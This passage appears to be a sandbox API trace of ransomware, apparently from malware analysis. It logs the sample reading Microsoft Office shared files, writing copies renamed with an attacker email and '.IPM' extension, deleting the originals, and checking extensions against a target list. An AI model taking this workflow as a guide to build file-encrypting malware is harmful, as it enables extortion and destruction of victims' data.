lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x650, lpOverlapped=0x0) returned 1 [0086.745] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0086.745] WriteFile (in: hFile=0x1d4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.745] SetEndOfFile (hFile=0x1d4) returned 1 [0086.746] CloseHandle (hObject=0x1d4) returned 1 [0086.748] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.748] SetEndOfFile (hFile=0x204) returned 1 [0086.750] CloseHandle (hObject=0x204) returned 1 [0086.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.751] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0086.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.752] lstrlenW (lpString=".doc") returned 4 [0086.752] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.752] lstrlenW (lpString=".docx") returned 5 [0086.752] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.752] lstrlenW (lpString=".pdf") returned 4 [0086.752] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.752] lstrlenW (lpString=".xls") returned 4 [0086.752] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.752] lstrlenW (lpString=".xlsx") returned 5 [0086.752] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.752] lstrlenW (lpString=".ppt") returned 4 [0086.752] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.752] lstrlenW (lpString=".zip") returned 4 [0086.752] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.752] lstrlenW (lpString=".rar") returned 4 [0086.752] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.752] lstrlenW (lpString=".bz2") returned 4 [0086.753] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.753] lstrlenW (lpString=".7z") returned 3 [0086.753] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.753] lstrlenW (lpString=".dbf") returned 4 [0086.753] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.753] lstrlenW (lpString=".1cd") returned 4 [0086.753] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.753] lstrlenW (lpString=".jpg") returned 4 [0086.753] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.753] lstrlenW (lpString=".doc") returned 4 [0086.753] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.753] lstrlenW (lpString=".docx") returned 5 [0086.753] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0086.753] lstrlenW (lpString=".pdf") returned 4 [0086.754] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.754] lstrlenW (lpString=".xls") returned 4 [0086.754] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.754] lstrlenW (lpString=".xlsx") returned 5 [0086.754] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0086.754] lstrlenW (lpString=".ppt") returned 4 [0086.754] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.754] lstrlenW (lpString=".zip") returned 4 [0086.754] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.754] lstrlenW (lpString=".rar") returned 4 [0086.754] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.754] lstrlenW (lpString=".bz2") returned 4 [0086.754] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.754] lstrlenW (lpString=".7z") returned 3 [0086.754] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.754] lstrlenW (lpString=".dbf") returned 4 [0086.755] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.755] lstrlenW (lpString=".1cd") returned 4 [0086.755] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0086.755] lstrlenW (lpString=".jpg") returned 4 [0086.755] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.755] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.755] lstrlenW (lpString="SETUP.XML") returned 9 [0086.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0087.016] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=20577) returned 1 [0087.016] CloseHandle (hObject=0x1e8) returned 1 [0087.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0087.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0087.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0087.016] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0087.016] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0087.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0087.022] GetLastError () returned 0x0 [0087.022] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5061, lpOverlapped=0x0) returned 1 [0087.316] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0087.318] ReadFile (in: hFile=0x1e8, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0087.318] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0087.318] SetEndOfFile (hFile=0x200) returned 1 [0088.544] CloseHandle (hObject=0x200) returned 1 [0089.863] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0089.863] SetEndOfFile (hFile=0x1e8) returned 1 [0089.966] CloseHandle (hObject=0x1e8) returned 1 [0089.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0089.967] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0089.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.967] lstrlenW (lpString=".doc") returned 4 [0089.967] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString=".docx") returned 5 [0089.968] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.968] lstrlenW (lpString=".pdf") returned 4 [0089.968] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString=".xls") returned 4 [0089.968] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString=".xlsx") returned 5 [0089.968] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.968] lstrlenW (lpString=".ppt") returned 4 [0089.968] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.968] lstrlenW (lpString=".zip") returned 4 [0089.968] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.968] lstrlenW (lpString=".rar") returned 4 [0089.968] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString=".bz2") returned 4 [0089.968] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString=".7z") returned 3 [0089.968] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.968] lstrlenW (lpString=".dbf") returned 4 [0089.968] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.968] lstrlenW (lpString=".1cd") returned 4 [0089.969] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.969] lstrlenW (lpString=".jpg") returned 4 [0089.969] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.969] lstrlenW (lpString=".doc") returned 4 [0089.969] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString=".docx") returned 5 [0089.969] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0089.969] lstrlenW (lpString=".pdf") returned 4 [0089.969] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString=".xls") returned 4 [0089.969] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString=".xlsx") returned 5 [0089.969] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0089.969] lstrlenW (lpString=".ppt") returned 4 [0089.969] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.969] lstrlenW (lpString=".zip") returned 4 [0089.969] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0089.969] lstrlenW (lpString=".rar") returned 4 [0089.969] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString=".bz2") returned 4 [0089.969] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0089.969] lstrlenW (lpString=".7z") returned 3 [0089.969] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0089.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.970] lstrlenW (lpString=".dbf") returned 4 [0089.970] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0089.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.970] lstrlenW (lpString=".1cd") returned 4 [0089.970] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0089.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0089.970] lstrlenW (lpString=".jpg") returned 4 [0089.970] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0089.970] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0089.970] lstrlenW (lpString="TIME.XML") returned 8 [0089.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0090.243] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=8564) returned 1 [0090.243] CloseHandle (hObject=0x1c0) returned 1 [0090.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0090.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0090.243] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.244] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0090.244] GetLastError () returned 0x0 [0090.244] ReadFile (in: hFile=0x1c0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x2174, lpOverlapped=0x0) returned 1 [0090.565] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0090.568] ReadFile (in: hFile=0x1c0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.568] WriteFile (in: hFile=0x200, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0090.568] SetEndOfFile (hFile=0x200) returned 1 [0090.568] CloseHandle (hObject=0x200) returned 1 [0090.570] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.570] SetEndOfFile (hFile=0x1c0) returned 1 [0090.572] CloseHandle (hObject=0x1c0) returned 1 [0090.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0090.573] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0090.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.574] lstrlenW (lpString=".doc") returned 4 [0090.574] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.574] lstrlenW (lpString=".docx") returned 5 [0090.574] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0090.574] lstrlenW (lpString=".pdf") returned 4 [0090.574] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.574] lstrlenW (lpString=".xls") returned 4 [0090.574] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.574] lstrlenW (lpString=".xlsx") returned 5 [0090.574] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0090.574] lstrlenW (lpString=".ppt") returned 4 [0090.574] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.574] lstrlenW (lpString=".zip") returned 4 [0090.574] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.574] lstrlenW (lpString=".rar") returned 4 [0090.574] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.574] lstrlenW (lpString=".bz2") returned 4 [0090.574] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString=".7z") returned 3 [0090.575] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.575] lstrlenW (lpString=".dbf") returned 4 [0090.575] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.575] lstrlenW (lpString=".1cd") returned 4 [0090.575] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.575] lstrlenW (lpString=".jpg") returned 4 [0090.575] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.575] lstrlenW (lpString=".doc") returned 4 [0090.575] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString=".docx") returned 5 [0090.575] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0090.575] lstrlenW (lpString=".pdf") returned 4 [0090.575] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0090.575] lstrlenW (lpString=".xls") returned 4 [0090.576] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0090.576] lstrlenW (lpString=".xlsx") returned 5 [0090.576] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0090.576] lstrlenW (lpString=".ppt") returned 4 [0090.576] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.576] lstrlenW (lpString=".zip") returned 4 [0090.576] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0090.576] lstrlenW (lpString=".rar") returned 4 [0090.576] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0090.576] lstrlenW (lpString=".bz2") returned 4 [0090.576] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0090.576] lstrlenW (lpString=".7z") returned 3 [0090.576] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.576] lstrlenW (lpString=".dbf") returned 4 [0090.576] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0090.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.577] lstrlenW (lpString=".1cd") returned 4 [0090.577] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0090.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0090.577] lstrlenW (lpString=".jpg") returned 4 [0090.577] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0090.577] lstrcmpiW (lpString1=".gif", lpString2=".IPM") returned -1 [0090.577] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0090.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0090.604] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4587) returned 1 [0090.604] CloseHandle (hObject=0x1d4) returned 1 [0090.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0090.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0090.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0090.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0090.605] lstrlenW (lpString=".doc") returned 4 [0090.605] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0090.605] lstrlenW (lpString=".docx") returned 5 [0090.605] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0090.605] lstrlenW (lpString=".pdf") returned 4 [0090.605] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0090.605] lstrlenW (lpString=".xls") returned 4 [0090.605] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0090.605] lstrlenW (lpString=".xlsx") returned 5 [0090.605] 